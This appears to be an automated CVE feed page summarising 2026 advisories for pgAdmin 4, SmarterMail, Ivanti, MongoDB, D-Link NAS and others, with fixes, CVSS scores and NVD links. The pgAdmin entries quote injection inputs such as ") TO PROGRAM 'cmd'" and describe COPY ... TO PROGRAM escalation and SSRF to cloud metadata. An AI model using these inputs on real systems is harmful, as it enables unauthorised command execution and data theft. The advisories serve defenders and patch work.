NVD CVE-2026-7807: https://nvd.nist.gov/vuln/detail/CVE-2026-7807
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SmarterTools SmarterMail builds prior to 9560 contain a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint that allows authenticated users to read arbitrary .json files on the system. Attackers can exploit this vulnerability combined with weak encryption algorithms and hardcoded keys to decrypt and access stored passwords and 2FA secrets for all users.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.
https://kevwire.com/record/CVE-2026-7813
Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules. (May 11, 2026).
Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.

Multiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs.

Additionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record.

Fix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced.

This issue affects pgAdmin 4: before 9.15.
CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7813).
Sources:
NVD CVE-2026-7813: https://nvd.nist.gov/vuln/detail/CVE-2026-7813
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.

Multiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs.

Additionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record.

Fix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced.

This issue affects pgAdmin 4: before 9.15.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection vulnerability in pgAdmin 4 Maintenance Tool.
https://kevwire.com/record/CVE-2026-7815
SQL injection vulnerability in pgAdmin 4 Maintenance Tool. (May 11, 2026).
SQL injection vulnerability in pgAdmin 4 Maintenance Tool.

Four user-supplied JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) were concatenated directly into the rendered VACUUM/ANALYZE/REINDEX command and passed to psql --command. An authenticated user with the tools_maintenance permission could break out of the option syntax and execute arbitrary SQL on the connected PostgreSQL server. The injected SQL could in turn invoke COPY ... TO PROGRAM to escalate to operating-system command execution on the database host.

Fix introduces server-side allow-listing of all four fields and switches reindex_tablespace from manual quoting to the qtIdent filter.

This issue affects pgAdmin 4: before 9.15.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7815).
Sources:
NVD CVE-2026-7815: https://nvd.nist.gov/vuln/detail/CVE-2026-7815
Vendor advisory (via NVD references): https://github.com/pgadmin-org/pgadmin4/issues/9898
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SQL injection vulnerability in pgAdmin 4 Maintenance Tool.

Four user-supplied JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) were concatenated directly into the rendered VACUUM/ANALYZE/REINDEX command and passed to psql --command. An authenticated user with the tools_maintenance permission could break out of the option syntax and execute arbitrary SQL on the connected PostgreSQL server. The injected SQL could in turn invoke COPY ... TO PROGRAM to escalate to operating-system command execution on the database host.

Fix introduces server-side allow-listing of all four fields and switches reindex_tablespace from manual quoting to the qtIdent filter.

This issue affects pgAdmin 4: before 9.15.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.
https://kevwire.com/record/CVE-2026-7816
OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export. (May 11, 2026).
OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.

User-supplied input was interpolated directly into a psql \copy metacommand template without sanitization. An authenticated user could inject ") TO PROGRAM 'cmd'" to break out of the \copy (...) context and achieve arbitrary command execution on the pgAdmin server, or ") TO '/path'" for arbitrary file write. Additional fields (format, on_error, log_verbosity) were also raw-interpolated and exploitable.

Fix adds a parens-balance parser modeled on psql's strtokx tokenizer, allow-lists format/on_error/log_verbosity, rejects null bytes in the query, and tightens type and gating checks.

This issue affects pgAdmin 4: before 9.15.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7816).
Sources:
NVD CVE-2026-7816: https://nvd.nist.gov/vuln/detail/CVE-2026-7816
Vendor advisory (via NVD references): https://github.com/pgadmin-org/pgadmin4/issues/9899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export.

User-supplied input was interpolated directly into a psql \copy metacommand template without sanitization. An authenticated user could inject ") TO PROGRAM 'cmd'" to break out of the \copy (...) context and achieve arbitrary command execution on the pgAdmin server, or ") TO '/path'" for arbitrary file write. Additional fields (format, on_error, log_verbosity) were also raw-interpolated and exploitable.

Fix adds a parens-balance parser modeled on psql's strtokx tokenizer, allow-lists format/on_error/log_verbosity, rejects null bytes in the query, and tightens type and gating checks.

This issue affects pgAdmin 4: before 9.15.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints.
https://kevwire.com/record/CVE-2026-7817
Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints. (May 11, 2026).
Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints.

User-supplied api_key_file and api_url preferences were passed to the LLM provider clients without validation. An authenticated user could read arbitrary server-side files by pointing api_key_file at any path readable by the pgAdmin process, or coerce pgAdmin into making requests to internal targets (e.g. cloud metadata services such as 169.254.169.254) by setting api_url, exploiting the chat path and model-list endpoints.

Fix restricts api_key_file to the user's private storage (server mode) or home directory (desktop mode), enforces a printable-ASCII key shape and a 1024-byte read cap, and gates api_url against a configurable allow-list (config.ALLOWED_LLM_API_URLS) at every entry point.

This issue affects pgAdmin 4: before 9.15.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7817).
Sources:
NVD CVE-2026-7817: https://nvd.nist.gov/vuln/detail/CVE-2026-7817
Vendor advisory (via NVD references): https://github.com/pgadmin-org/pgadmin4/issues/9900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints.

User-supplied api_key_file and api_url preferences were passed to the LLM provider clients without validation. An authenticated user could read arbitrary server-side files by pointing api_key_file at any path readable by the pgAdmin process, or coerce pgAdmin into making requests to internal targets (e.g. cloud metadata services such as 169.254.169.254) by setting api_url, exploiting the chat path and model-list endpoints.

Fix restricts api_key_file to the user's private storage (server mode) or home directory (desktop mode), enforces a printable-ASCII key shape and a 1024-byte read cap, and gates api_url against a configurable allow-list (config.ALLOWED_LLM_API_URLS) at every entry point.

This issue affects pgAdmin 4: before 9.15.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager.
https://kevwire.com/record/CVE-2026-7818
Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager. (May 11, 2026).
Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager.

The session manager performed unsafe deserialization of session-file contents (using Python's standard object-serialization module) before performing any HMAC integrity check. Any file dropped into the sessions directory was deserialized unconditionally. An authenticated user with write access to the sessions directory (whether by misconfiguration or in combination with another path-traversal flaw) could plant a crafted serialized payload to achieve operating-system level remote code execution under the pgAdmin process identity.

Fix prepends a 64-byte hex SHA-256 HMAC over the session body, computed with SECRET_KEY, and verifies it via hmac.compare_digest before any deserialization. The check is raised (rather than asserted) on empty SECRET_KEY so it is not stripped under -O.

This issue affects pgAdmin 4: before 9.15.
CVSS 7.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7818).
Sources:
NVD CVE-2026-7818: https://nvd.nist.gov/vuln/detail/CVE-2026-7818
Vendor advisory (via NVD references): https://github.com/pgadmin-org/pgadmin4/issues/9901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager.

The session manager performed unsafe deserialization of session-file contents (using Python's standard object-serialization module) before performing any HMAC integrity check. Any file dropped into the sessions directory was deserialized unconditionally. An authenticated user with write access to the sessions directory (whether by misconfiguration or in combination with another path-traversal flaw) could plant a crafted serialized payload to achieve operating-system level remote code execution under the pgAdmin process identity.

Fix prepends a 64-byte hex SHA-256 HMAC over the session body, computed with SECRET_KEY, and verifies it via hmac.compare_digest before any deserialization. The check is raised (rather than asserted) on empty SECRET_KEY so it is not stripped under -O.

This issue affects pgAdmin 4: before 9.15.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager.
https://kevwire.com/record/CVE-2026-7819
Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager. (May 11, 2026).
Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager.

check_access_permission used os.path.abspath, which resolves '..' but does not resolve symbolic links, while the subsequent kernel write follows symlinks. An authenticated user could plant a symbolic link inside their own storage directory pointing outside it and induce pgAdmin to write to any path reachable by the pgAdmin process.

Fix switches the access check to os.path.realpath for both source and destination, and adds an _open_upload_target helper that opens the target with O_NOFOLLOW (mode 0o600) to close the leaf-component TOCTOU between the access check and the open. File mode is hardened from 0o644 to 0o600.

This issue affects pgAdmin 4: before 9.15.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7819).
Sources:
NVD CVE-2026-7819: https://nvd.nist.gov/vuln/detail/CVE-2026-7819
Vendor advisory (via NVD references): https://github.com/pgadmin-org/pgadmin4/issues/9902
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager.

check_access_permission used os.path.abspath, which resolves '..' but does not resolve symbolic links, while the subsequent kernel write follows symlinks. An authenticated user could plant a symbolic link inside their own storage directory pointing outside it and induce pgAdmin to write to any path reachable by the pgAdmin process.

Fix switches the access check to os.path.realpath for both source and destination, and adds an _open_upload_target helper that opens the target with O_NOFOLLOW (mode 0o600) to close the leaf-component TOCTOU between the access check and the open. File mode is hardened from 0o644 to 0o600.

This issue affects pgAdmin 4: before 9.15.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web...
https://kevwire.com/record/CVE-2026-8043
External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web... (May 12, 2026).
External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8043).
Sources:
NVD CVE-2026-8043: https://nvd.nist.gov/vuln/detail/CVE-2026-8043
Vendor advisory (via NVD references): https://hub.ivanti.com/s/article/Security-Advisory---Ivanti-Xtraction-CVE-2026-8043?language=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the...
https://kevwire.com/record/CVE-2026-8053
An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the... (May 13, 2026).
An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the mongod process. The issue results from an inconsistency in the internal field-name-to-index mapping within the time-series bucket catalog. Under certain conditions this can result in arbitrary code execution.

This issue impacts MongoDB Server v5.0 versions prior to 5.0.33, v6.0 versions prior to 6.0.28, v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8053).
Sources:
NVD CVE-2026-8053: https://nvd.nist.gov/vuln/detail/CVE-2026-8053
Vendor advisory (via NVD references): https://jira.mongodb.org/browse/SERVER-126021
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the mongod process. The issue results from an inconsistency in the internal field-name-to-index mapping within the time-series bucket catalog. Under certain conditions this can result in arbitrary code execution.

This issue impacts MongoDB Server v5.0 versions prior to 5.0.33, v6.0 versions prior to 6.0.28, v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board.
https://kevwire.com/record/CVE-2026-8072
Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board. (May 12, 2026).
Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board. The vulnerability arose because the secret access credentials were not based on a secure cryptographic scheme, but rather on a weak hashing algorithm, which could allow an attacker to carry out a privilege escalation.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8072).
Sources:
NVD CVE-2026-8072: https://nvd.nist.gov/vuln/detail/CVE-2026-8072
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Insecure generation of credentials in the local SAT (Technical Support) access functionality of the Ingecon Sun EMS Board. The vulnerability arose because the secret access credentials were not based on a secure cryptographic scheme, but rather on a weak hashing algorithm, which could allow an attacker to carry out a privilege escalation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions.
https://kevwire.com/record/CVE-2026-8108
The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions. (May 12, 2026).
The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8108).
Sources:
NVD CVE-2026-8108: https://nvd.nist.gov/vuln/detail/CVE-2026-8108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges.
https://kevwire.com/record/CVE-2026-8110
Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges. (May 12, 2026).
Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8110).
Sources:
NVD CVE-2026-8110: https://nvd.nist.gov/vuln/detail/CVE-2026-8110
Vendor advisory (via NVD references): https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-May-2026?language=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Incorrect permissions assignment in the agent of Ivanti Endpoint Manager before version 2024 SU6 allows a local authenticated attacker to escalate their privileges.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution.
https://kevwire.com/record/CVE-2026-8111
SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution. (May 12, 2026).
SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8111).
Sources:
NVD CVE-2026-8111: https://nvd.nist.gov/vuln/detail/CVE-2026-8111
Vendor advisory (via NVD references): https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-May-2026?language=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
SQL injection in the web console of Ivanti Endpoint Manager before version 2024 SU6 allows a remote authenticated attacker to achieve remote code execution.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An issue exists in Amazon Redshift JDBC Driver versions prior to 2.2.2.
https://kevwire.com/record/CVE-2026-8178
An issue exists in Amazon Redshift JDBC Driver versions prior to 2.2.2. (May 8, 2026).
An issue exists in Amazon Redshift JDBC Driver versions prior to 2.2.2. Under certain conditions, the driver could load and execute arbitrary classes when processing JDBC connection URL parameters. An actor who can influence the connection URL could potentially execute code in the application context, provided a suitable class is available on the application's classpath.



To mitigate this issue, users should upgrade to version 2.2.2 or later.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8178).
Sources:
NVD CVE-2026-8178: https://nvd.nist.gov/vuln/detail/CVE-2026-8178
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
An issue exists in Amazon Redshift JDBC Driver versions prior to 2.2.2. Under certain conditions, the driver could load and execute arbitrary classes when processing JDBC connection URL parameters. An actor who can influence the connection URL could potentially execute code in the application context, provided a suitable class is available on the application's classpath.



To mitigate this issue, users should upgrade to version 2.2.2 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear.
https://kevwire.com/record/CVE-2026-8199
An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear. (May 13, 2026).
An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear. This contributes to memory pressure and may lead to availability loss by OOM.

This issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8199).
Sources:
NVD CVE-2026-8199: https://nvd.nist.gov/vuln/detail/CVE-2026-8199
Vendor advisory (via NVD references): https://jira.mongodb.org/browse/SERVER-122449
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear. This contributes to memory pressure and may lead to availability loss by OOM.

This issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared.
https://kevwire.com/record/CVE-2026-8201
A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared. (May 13, 2026).
A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared. Triggering this vulnerability requires control over the structure of a client's FLE-related query.

This issue impacts MongoDB Server’s mongocryptd component v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.
CVSS 6.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8201).
Sources:
NVD CVE-2026-8201: https://nvd.nist.gov/vuln/detail/CVE-2026-8201
Vendor advisory (via NVD references): https://jira.mongodb.org/browse/SERVER-122032
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared. Triggering this vulnerability requires control over the structure of a client's FLE-related query.

This issue impacts MongoDB Server’s mongocryptd component v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in D-Link DNS-320 2.06B01. The impacted element is the function...
https://kevwire.com/record/CVE-2026-8271
A vulnerability was identified in D-Link DNS-320 2.06B01. The impacted element is the function... (May 11, 2026).
A vulnerability was identified in D-Link DNS-320 2.06B01. The impacted element is the function cgi_speed/cgi_dhcpd_lease/cgi_ddns/cgi_set_ip/cgi_upnp_del/cgi_dhcpd/cgi_upnp_add/cgi_upnp_edit of the file /cgi-bin/network_mgr.cgi. The manipulation leads to os command injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.
CVSS 2.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8271).
Sources:
NVD CVE-2026-8271: https://nvd.nist.gov/vuln/detail/CVE-2026-8271
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability was identified in D-Link DNS-320 2.06B01. The impacted element is the function cgi_speed/cgi_dhcpd_lease/cgi_ddns/cgi_set_ip/cgi_upnp_del/cgi_dhcpd/cgi_upnp_add/cgi_upnp_edit of the file /cgi-bin/network_mgr.cgi. The manipulation leads to os command injection. The attack is possible to be carried out remotely. The exploit is publicly available and might be used.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi.
https://kevwire.com/record/CVE-2026-8272
A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi. (May 11, 2026).
A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi. The manipulation results in os command injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.
CVSS 2.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8272).
Sources:
NVD CVE-2026-8272: https://nvd.nist.gov/vuln/detail/CVE-2026-8272
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A security flaw has been discovered in D-Link DNS-320 2.06B01. This affects the function delete/rename/copy/move/chmod/chown of the file /cgi-bin/webfile_mgr.cgi. The manipulation results in os command injection. The attack may be performed from remote. The exploit has been released to the public and may be used for attacks.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in D-Link DNS-320 2.06B01. This impacts the function cgi_set_host/cgi_set_ntp/cgi_fan_control/cgi_merge_user of the file /cgi-bin/system_mgr.cgi.
https://kevwire.com/record/CVE-2026-8273
